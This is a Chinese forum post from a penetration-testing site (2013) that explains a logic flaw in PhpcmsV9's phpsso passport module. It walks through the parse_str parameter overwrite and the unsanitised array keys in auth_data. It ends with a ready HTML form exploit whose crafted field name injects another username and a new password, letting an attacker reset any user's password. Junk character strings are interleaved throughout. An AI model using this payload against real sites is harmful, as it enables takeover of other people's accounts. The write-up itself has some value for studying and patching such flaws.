中国网络渗透测试联盟
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
[打印本页]
作者:
admin
时间:
2013-2-23 14:46
标题:
PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
C( P& a e$ k+ h) y
* E- B }: m# K, z# n8 n, c% g: B
. O; e7 N) x0 P! t3 V, j
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
$ u7 c$ w$ r. i: g! b
$ g# O k/ f7 ^9 d7 ?
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
8 s! s, J6 L$ X3 x
( E. s: P- }. ]# h7 R
我把它留给了你们。
) |- v/ W) f# Y9 K
不知道你们发现了它没有。
L' D4 Z) {" |1 c. b4 q6 @
% O2 Y- d/ T" J+ U. c( M: _; p& ]0 n
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
7 @* J4 C4 [: X( {1 e/ m# L
! H$ Y, k$ E7 N* z" D) W
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
5 g. r+ q4 d e; @4 _
7 Q) e' o4 A8 y7 I) D* R
也就是
9 q! `5 z- Y J0 ?+ {
# B7 |+ |- c5 w) f
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
" `0 a- u( P& b7 C4 f6 b
! z3 h, L, h U# q; n }2 T1 P* U5 E
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
. W" \% `2 D( d* z
8 @ a0 z3 _! L+ E6 D& J( W
9 Q. D& V# y O4 A. j- q* u
其实我们有这样的机会,看看代码,如下:
- j1 m5 S d. @! Y% B
3 W4 [, A9 c! s* u# y$ E% K: k
5 a3 [- o8 ?$ `% p9 G( K
public function auth_data($data) {
8 E( v5 {, ]5 @* K' W! Q. Q7 j
$s = $sep = '';
1 m0 K- @7 r' [
foreach($data as $k => $v) {
& y: v- [9 V% p; s9 \+ A4 N
if(is_array($v)) {
) E- m, \" @+ U# j& l4 J2 C- F
$s2 = $sep2 = '';
0 A, c7 ~0 Q3 h7 @" [
foreach($v as $k2 => $v2) {
: ]+ R# F6 y4 n& L6 C# F7 C
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
" a$ B* I6 b& G5 O' R
$sep2 = '&';
# H. [$ b' ]& n; S& J
}
' |" p. I% z- ^* S; I
$s .= $sep.$s2;
% c+ f- h( T# Y( P
} else {
5 h% |8 H4 W, E( u5 ~8 j+ {2 D2 h
$s .= "$sep$k=".$this->_ps_stripslashes($v);
. R$ B# R7 q3 j6 l
}
' ?: z; `, B9 Z/ o' h
$sep = '&';
2 Q0 E c9 o6 H* T
}
, r, F$ _3 {. |. k' `
0 ?! ]+ s, R/ P7 F1 {! R
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
: d) `: P2 a7 b+ ^2 K
return $auth_s;
& ~' H, L/ ^! D* w
}
0 o: k+ f$ B- i. P# x6 g" o. F& I. V
) @, P0 U3 v8 \$ Y) m$ s
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
9 E$ S+ T! P& b; H% M( P
5 P- K3 F/ Z) T! |) w$ M& b
举个例子
8 ], g8 n& |$ ^
! Q$ p! F" F2 S" h) d) k; S8 g
$a[aaa=a&bbb] = 'a';
2 y4 O$ Y& w; Z1 ^) s. U
8 C) G( [) |2 C1 e, b
会变成aaa=a&bbb=a
y7 @6 S6 I! e+ S/ N
; a% u- ]; {# Q% ~
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
U, s$ g) O% ?
& O; b1 G ~/ l
这个时候,我们可以再去看一个函数。
! L9 M8 ^2 k' U; k3 {$ v
2 x' p) U3 [0 A" G: b3 N; C8 y
就在这个文件内:
1 b2 W! b; r2 p4 \) @6 c
# s+ x% b( n' G2 v
! s+ K6 f$ F" [! \& H* i
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
' b& t7 @5 R# V9 C
if($email && !$this->_is_email($email)) {
7 D( _! f" l, b. F, k8 U; M
return -4;
% _' b$ Q/ [5 i# o% h7 K7 T L
}
2 h0 j; s3 Z3 |% O* {) x' ^: {
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
; ?) }8 L; P; A% M. `2 f
}
0 a% n: K3 `5 M9 a% i. E4 ^- g
7 G4 P$ x8 D$ |# d5 N" G
这是向通行证发了这样一个请求。
9 Y+ J% D0 o$ L% ~( s
. a5 k" M6 g( `, P( o. N& k: Y$ Q
我们再跟到通信证代码里去看看,就会有所发现。
5 m8 ?: e' f8 W% l) F) ?7 Q
2 c- L8 j9 ^' \# i
! U/ W1 `9 m- j5 Z5 d8 ~1 [% ]
public function edit() {
4 q6 Q: _) N* E# M
//能省就省,太长了不是吗?
' C: l1 l( ~" G7 a' r/ D
% D) s2 s1 l2 v% `( j+ l
if($this->username) {
9 X" d: q) T g! e7 B" ]! T2 Z
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
) n# X5 G: C o+ i# s
$res = $this->db->update($data, array('username'=>$this->username));
/ x3 ~7 a4 m0 D$ t+ L! k% ?
} else {
9 M) {" B3 [! _; n. H
file_put_contents('typeb.txt',print_r($data,1).$this->uid);
( g5 u& o! ], f; k& ?& M6 N) Y/ l
$res = $this->db->update($data, array('uid'=>$this->uid));
! s ~, O/ T' @8 e
}
9 z5 }' _1 r6 U6 a
2 T) ?# r9 |8 ]" @1 V, \
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
( r. P, {3 v) E# S7 o5 H3 W
( b, w) K* i1 m v
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
) t) r1 C: Y- b/ |3 W
4 s/ y0 \% K. i* r" u+ H- I
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
& x/ p9 \/ i2 r' i) r
. {4 _+ w7 x+ S. ?! n
我当然找到了:
/ `6 k0 R% A5 I& Z: r
phpcms9/phpcms/modules/member/index.php
5 h' z; k1 ?1 A, O/ z1 y
1 I/ M2 U$ m4 z. V" V: p
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
* w5 J, s6 {: R% _3 @
, Q& w* p) O3 T4 B# k1 z# Z% f
然后就没有然后了。
' T( X3 w4 y+ k. `9 K
- ?+ g9 y0 _/ T+ Y
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
2 L6 a) o! t. w' j2 _ }+ o5 B9 e
<table width="100%" cellspacing="0" class="table_form">
' k2 Y9 a( i, D3 a- h9 l
<tr>
0 r9 g! K( j7 C8 U: p& ~
<th width="80">邮箱:</th>
6 ]0 A$ y, V/ `. [* z
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
6 l2 e( ^& S# n: p# n
</tr>
% _/ b4 Z' D! T: T
<tr>
+ B3 {1 U0 s9 I$ g. l
<th width="80">原密码:</th>
1 Y) F6 |6 g+ @! S/ D
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
l5 z' x& L( q7 P
</tr>
9 C' J4 p) a; U2 R
<tr>
4 D! I q" L! ]+ ]$ d* }( D
<th>新密码:</th>
: o) e2 P1 {* V$ B0 N1 u! E+ C
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
) b# a+ o( j4 c- X, v
</tr>
6 m: j# n' m* @* o# H
<th></th>
9 Z' |# Z8 {4 Z- Y+ W& p
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
; p/ |. a2 x4 e6 |+ `% W5 g
</tr>
. {5 V, C& T- U3 a3 b" O% q( Y: d
</table>
. T4 S% Z5 ~3 Z$ `
' `, o8 }7 C8 r. }; e8 M
( G2 j: T. S' h5 \5 N7 m
</form>
' I9 a+ @/ K' {6 D0 i! V
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2